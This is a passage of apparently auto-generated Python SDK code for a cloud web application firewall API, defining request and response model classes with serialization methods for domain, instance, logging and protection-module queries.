None:\n self.domain = m.get('Domain')\n if m.get('Owner') is not None:\n self.owner = m.get('Owner')\n if m.get('CcMode') is not None:\n self.cc_mode = m.get('CcMode')\n if m.get('CcStatus') is not None:\n self.cc_status = m.get('CcStatus')\n if m.get('AccessType') is not None:\n self.access_type = m.get('AccessType')\n if m.get('Version') is not None:\n self.version = m.get('Version')\n if m.get('AclStatus') is not None:\n self.acl_status = m.get('AclStatus')\n if m.get('WafStatus') is not None:\n self.waf_status = m.get('WafStatus')\n if m.get('WafMode') is not None:\n self.waf_mode = m.get('WafMode')\n return self\n\n\nclass DescribeDomainBasicConfigsResponseBody(TeaModel):\n\n def __init__(self, total_count=None, request_id=None, domain_configs=None):\n self.total_count = total_count\n self.request_id = request_id\n self.domain_configs = domain_configs\n\n def validate(self):\n if self.domain_configs:\n for k in self.domain_configs:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeDomainBasicConfigsResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.total_count is not None:\n result['TotalCount'] = self.total_count\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n result['DomainConfigs'] = []\n if self.domain_configs is not None:\n for k in self.domain_configs:\n result['DomainConfigs'].append(k.to_map() if k else None)\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('TotalCount') is not None:\n self.total_count = m.get('TotalCount')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n self.domain_configs = []\n if m.get('DomainConfigs') is not None:\n for k in m.get('DomainConfigs'):\n temp_model = (\n DescribeDomainBasicConfigsResponseBodyDomainConfigs())\n self.domain_configs.append(temp_model.from_map(k))\n return self\n\n\nclass DescribeDomainBasicConfigsResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainBasicConfigsResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainBasicConfigsResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainListRequest(TeaModel):\n\n def __init__(self, resource_group_id=None, instance_id=None,\n domain_name=None, page_number=None, page_size=None, is_sub=None,\n domain_names=None):\n self.resource_group_id = resource_group_id\n self.instance_id = instance_id\n self.domain_name = domain_name\n self.page_number = page_number\n self.page_size = page_size\n self.is_sub = is_sub\n self.domain_names = domain_names\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainListRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain_name is not None:\n result['DomainName'] = self.domain_name\n if self.page_number is not None:\n result['PageNumber'] = self.page_number\n if self.page_size is not None:\n result['PageSize'] = self.page_size\n if self.is_sub is not None:\n result['IsSub'] = self.is_sub\n if self.domain_names is not None:\n result['DomainNames'] = self.domain_names\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('DomainName') is not None:\n self.domain_name = m.get('DomainName')\n if m.get('PageNumber') is not None:\n self.page_number = m.get('PageNumber')\n if m.get('PageSize') is not None:\n self.page_size = m.get('PageSize')\n if m.get('IsSub') is not None:\n self.is_sub = m.get('IsSub')\n if m.get('DomainNames') is not None:\n self.domain_names = m.get('DomainNames')\n return self\n\n\nclass DescribeDomainListResponseBody(TeaModel):\n\n def __init__(self, total_count=None, request_id=None, domain_names=None):\n self.total_count = total_count\n self.request_id = request_id\n self.domain_names = domain_names\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainListResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.total_count is not None:\n result['TotalCount'] = self.total_count\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.domain_names is not None:\n result['DomainNames'] = self.domain_names\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('TotalCount') is not None:\n self.total_count = m.get('TotalCount')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('DomainNames') is not None:\n self.domain_names = m.get('DomainNames')\n return self\n\n\nclass DescribeDomainListResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainListResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainListResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainNamesRequest(TeaModel):\n\n def __init__(self, instance_id=None, resource_group_id=None):\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainNamesRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeDomainNamesResponseBody(TeaModel):\n\n def __init__(self, request_id=None, domain_names=None):\n self.request_id = request_id\n self.domain_names = domain_names\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainNamesResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.domain_names is not None:\n result['DomainNames'] = self.domain_names\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('DomainNames') is not None:\n self.domain_names = m.get('DomainNames')\n return self\n\n\nclass DescribeDomainNamesResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainNamesResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainNamesResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainRuleGroupRequest(TeaModel):\n\n def __init__(self, domain=None, instance_id=None):\n self.domain = domain\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainRuleGroupRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass DescribeDomainRuleGroupResponseBody(TeaModel):\n\n def __init__(self, rule_group_id=None, request_id=None):\n self.rule_group_id = rule_group_id\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainRuleGroupResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.rule_group_id is not None:\n result['RuleGroupId'] = self.rule_group_id\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RuleGroupId') is not None:\n self.rule_group_id = m.get('RuleGroupId')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass DescribeDomainRuleGroupResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainRuleGroupResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainRuleGroupResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeInstanceInfoRequest(TeaModel):\n\n def __init__(self, instance_id=None, resource_group_id=None):\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceInfoRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeInstanceInfoResponseBodyInstanceInfo(TeaModel):\n\n def __init__(self, status=None, end_date=None, version=None, remain_day\n =None, region=None, pay_type=None, in_debt=None, instance_id=None,\n subscription_type=None, trial=None):\n self.status = status\n self.end_date = end_date\n self.version = version\n self.remain_day = remain_day\n self.region = region\n self.pay_type = pay_type\n self.in_debt = in_debt\n self.instance_id = instance_id\n self.subscription_type = subscription_type\n self.trial = trial\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceInfoResponseBodyInstanceInfo, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.status is not None:\n result['Status'] = self.status\n if self.end_date is not None:\n result['EndDate'] = self.end_date\n if self.version is not None:\n result['Version'] = self.version\n if self.remain_day is not None:\n result['RemainDay'] = self.remain_day\n if self.region is not None:\n result['Region'] = self.region\n if self.pay_type is not None:\n result['PayType'] = self.pay_type\n if self.in_debt is not None:\n result['InDebt'] = self.in_debt\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.subscription_type is not None:\n result['SubscriptionType'] = self.subscription_type\n if self.trial is not None:\n result['Trial'] = self.trial\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Status') is not None:\n self.status = m.get('Status')\n if m.get('EndDate') is not None:\n self.end_date = m.get('EndDate')\n if m.get('Version') is not None:\n self.version = m.get('Version')\n if m.get('RemainDay') is not None:\n self.remain_day = m.get('RemainDay')\n if m.get('Region') is not None:\n self.region = m.get('Region')\n if m.get('PayType') is not None:\n self.pay_type = m.get('PayType')\n if m.get('InDebt') is not None:\n self.in_debt = m.get('InDebt')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('SubscriptionType') is not None:\n self.subscription_type = m.get('SubscriptionType')\n if m.get('Trial') is not None:\n self.trial = m.get('Trial')\n return self\n\n\nclass DescribeInstanceInfoResponseBody(TeaModel):\n\n def __init__(self, request_id=None, instance_info=None):\n self.request_id = request_id\n self.instance_info = instance_info\n\n def validate(self):\n if self.instance_info:\n self.instance_info.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceInfoResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.instance_info is not None:\n result['InstanceInfo'] = self.instance_info.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('InstanceInfo') is not None:\n temp_model = DescribeInstanceInfoResponseBodyInstanceInfo()\n self.instance_info = temp_model.from_map(m['InstanceInfo'])\n return self\n\n\nclass DescribeInstanceInfoResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceInfoResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeInstanceInfoResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeInstanceInfosRequest(TeaModel):\n\n def __init__(self, instance_source=None, instance_id=None,\n resource_group_id=None):\n self.instance_source = instance_source\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceInfosRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_source is not None:\n result['InstanceSource'] = self.instance_source\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceSource') is not None:\n self.instance_source = m.get('InstanceSource')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeInstanceInfosResponseBodyInstanceInfos(TeaModel):\n\n def __init__(self, status=None, end_date=None, remain_day=None, region=\n None, pay_type=None, in_debt=None, instance_id=None,\n subscription_type=None, trial=None):\n self.status = status\n self.end_date = end_date\n self.remain_day = remain_day\n self.region = region\n self.pay_type = pay_type\n self.in_debt = in_debt\n self.instance_id = instance_id\n self.subscription_type = subscription_type\n self.trial = trial\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceInfosResponseBodyInstanceInfos, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.status is not None:\n result['Status'] = self.status\n if self.end_date is not None:\n result['EndDate'] = self.end_date\n if self.remain_day is not None:\n result['RemainDay'] = self.remain_day\n if self.region is not None:\n result['Region'] = self.region\n if self.pay_type is not None:\n result['PayType'] = self.pay_type\n if self.in_debt is not None:\n result['InDebt'] = self.in_debt\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.subscription_type is not None:\n result['SubscriptionType'] = self.subscription_type\n if self.trial is not None:\n result['Trial'] = self.trial\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Status') is not None:\n self.status = m.get('Status')\n if m.get('EndDate') is not None:\n self.end_date = m.get('EndDate')\n if m.get('RemainDay') is not None:\n self.remain_day = m.get('RemainDay')\n if m.get('Region') is not None:\n self.region = m.get('Region')\n if m.get('PayType') is not None:\n self.pay_type = m.get('PayType')\n if m.get('InDebt') is not None:\n self.in_debt = m.get('InDebt')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('SubscriptionType') is not None:\n self.subscription_type = m.get('SubscriptionType')\n if m.get('Trial') is not None:\n self.trial = m.get('Trial')\n return self\n\n\nclass DescribeInstanceInfosResponseBody(TeaModel):\n\n def __init__(self, request_id=None, instance_infos=None):\n self.request_id = request_id\n self.instance_infos = instance_infos\n\n def validate(self):\n if self.instance_infos:\n for k in self.instance_infos:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceInfosResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n result['InstanceInfos'] = []\n if self.instance_infos is not None:\n for k in self.instance_infos:\n result['InstanceInfos'].append(k.to_map() if k else None)\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n self.instance_infos = []\n if m.get('InstanceInfos') is not None:\n for k in m.get('InstanceInfos'):\n temp_model = DescribeInstanceInfosResponseBodyInstanceInfos()\n self.instance_infos.append(temp_model.from_map(k))\n return self\n\n\nclass DescribeInstanceInfosResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceInfosResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeInstanceInfosResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeInstanceSpecInfoRequest(TeaModel):\n\n def __init__(self, instance_id=None, resource_group_id=None):\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceSpecInfoRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeInstanceSpecInfoResponseBodyInstanceSpecInfos(TeaModel):\n\n def __init__(self, value=None, code=None):\n self.value = value\n self.code = code\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceSpecInfoResponseBodyInstanceSpecInfos,\n self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.value is not None:\n result['Value'] = self.value\n if self.code is not None:\n result['Code'] = self.code\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Value') is not None:\n self.value = m.get('Value')\n if m.get('Code') is not None:\n self.code = m.get('Code')\n return self\n\n\nclass DescribeInstanceSpecInfoResponseBody(TeaModel):\n\n def __init__(self, instance_spec_infos=None, request_id=None,\n instance_id=None, version=None, expire_time=None):\n self.instance_spec_infos = instance_spec_infos\n self.request_id = request_id\n self.instance_id = instance_id\n self.version = version\n self.expire_time = expire_time\n\n def validate(self):\n if self.instance_spec_infos:\n for k in self.instance_spec_infos:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceSpecInfoResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n result['InstanceSpecInfos'] = []\n if self.instance_spec_infos is not None:\n for k in self.instance_spec_infos:\n result['InstanceSpecInfos'].append(k.to_map() if k else None)\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.version is not None:\n result['Version'] = self.version\n if self.expire_time is not None:\n result['ExpireTime'] = self.expire_time\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n self.instance_spec_infos = []\n if m.get('InstanceSpecInfos') is not None:\n for k in m.get('InstanceSpecInfos'):\n temp_model = (\n DescribeInstanceSpecInfoResponseBodyInstanceSpecInfos())\n self.instance_spec_infos.append(temp_model.from_map(k))\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Version') is not None:\n self.version = m.get('Version')\n if m.get('ExpireTime') is not None:\n self.expire_time = m.get('ExpireTime')\n return self\n\n\nclass DescribeInstanceSpecInfoResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceSpecInfoResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeInstanceSpecInfoResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeLogServiceStatusRequest(TeaModel):\n\n def __init__(self, instance_id=None, region=None, resource_group_id=\n None, page_number=None, page_size=None, domain_names=None):\n self.instance_id = instance_id\n self.region = region\n self.resource_group_id = resource_group_id\n self.page_number = page_number\n self.page_size = page_size\n self.domain_names = domain_names\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeLogServiceStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.region is not None:\n result['Region'] = self.region\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n if self.page_number is not None:\n result['PageNumber'] = self.page_number\n if self.page_size is not None:\n result['PageSize'] = self.page_size\n if self.domain_names is not None:\n result['DomainNames'] = self.domain_names\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Region') is not None:\n self.region = m.get('Region')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n if m.get('PageNumber') is not None:\n self.page_number = m.get('PageNumber')\n if m.get('PageSize') is not None:\n self.page_size = m.get('PageSize')\n if m.get('DomainNames') is not None:\n self.domain_names = m.get('DomainNames')\n return self\n\n\nclass DescribeLogServiceStatusResponseBodyDomainStatus(TeaModel):\n\n def __init__(self, domain=None, sls_log_active=None):\n self.domain = domain\n self.sls_log_active = sls_log_active\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeLogServiceStatusResponseBodyDomainStatus, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.sls_log_active is not None:\n result['SlsLogActive'] = self.sls_log_active\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('SlsLogActive') is not None:\n self.sls_log_active = m.get('SlsLogActive')\n return self\n\n\nclass DescribeLogServiceStatusResponseBody(TeaModel):\n\n def __init__(self, total_count=None, request_id=None, domain_status=None):\n self.total_count = total_count\n self.request_id = request_id\n self.domain_status = domain_status\n\n def validate(self):\n if self.domain_status:\n for k in self.domain_status:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeLogServiceStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.total_count is not None:\n result['TotalCount'] = self.total_count\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n result['DomainStatus'] = []\n if self.domain_status is not None:\n for k in self.domain_status:\n result['DomainStatus'].append(k.to_map() if k else None)\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('TotalCount') is not None:\n self.total_count = m.get('TotalCount')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n self.domain_status = []\n if m.get('DomainStatus') is not None:\n for k in m.get('DomainStatus'):\n temp_model = DescribeLogServiceStatusResponseBodyDomainStatus()\n self.domain_status.append(temp_model.from_map(k))\n return self\n\n\nclass DescribeLogServiceStatusResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeLogServiceStatusResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeLogServiceStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeProtectionModuleCodeConfigRequest(TeaModel):\n\n def __init__(self, source_ip=None, lang=None, code_type=None,\n code_value=None, instance_id=None, resource_group_id=None):\n self.source_ip = source_ip\n self.lang = lang\n self.code_type = code_type\n self.code_value = code_value\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleCodeConfigRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.source_ip is not None:\n result['SourceIp'] = self.source_ip\n if self.lang is not None:\n result['Lang'] = self.lang\n if self.code_type is not None:\n result['CodeType'] = self.code_type\n if self.code_value is not None:\n result['CodeValue'] = self.code_value\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('SourceIp') is not None:\n self.source_ip = m.get('SourceIp')\n if m.get('Lang') is not None:\n self.lang = m.get('Lang')\n if m.get('CodeType') is not None:\n self.code_type = m.get('CodeType')\n if m.get('CodeValue') is not None:\n self.code_value = m.get('CodeValue')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeProtectionModuleCodeConfigResponseBody(TeaModel):\n\n def __init__(self, request_id=None, code_configs=None):\n self.request_id = request_id\n self.code_configs = code_configs\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleCodeConfigResponseBody, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.code_configs is not None:\n result['CodeConfigs'] = self.code_configs\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('CodeConfigs') is not None:\n self.code_configs = m.get('CodeConfigs')\n return self\n\n\nclass DescribeProtectionModuleCodeConfigResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeProtectionModuleCodeConfigResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeProtectionModuleCodeConfigResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeProtectionModuleModeRequest(TeaModel):\n\n def __init__(self, domain=None, defense_type=None, instance_id=None,\n resource_group_id=None):\n self.domain = domain\n self.defense_type = defense_type\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleModeRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeProtectionModuleModeResponseBody(TeaModel):\n\n def __init__(self, learn_status=None, request_id=None, mode=None):\n self.learn_status = learn_status\n self.request_id = request_id\n self.mode = mode\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleModeResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.learn_status is not None:\n result['LearnStatus'] = self.learn_status\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.mode is not None:\n result['Mode'] = self.mode\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('LearnStatus') is not None:\n self.learn_status = m.get('LearnStatus')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('Mode') is not None:\n self.mode = m.get('Mode')\n return self\n\n\nclass DescribeProtectionModuleModeResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeProtectionModuleModeResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or 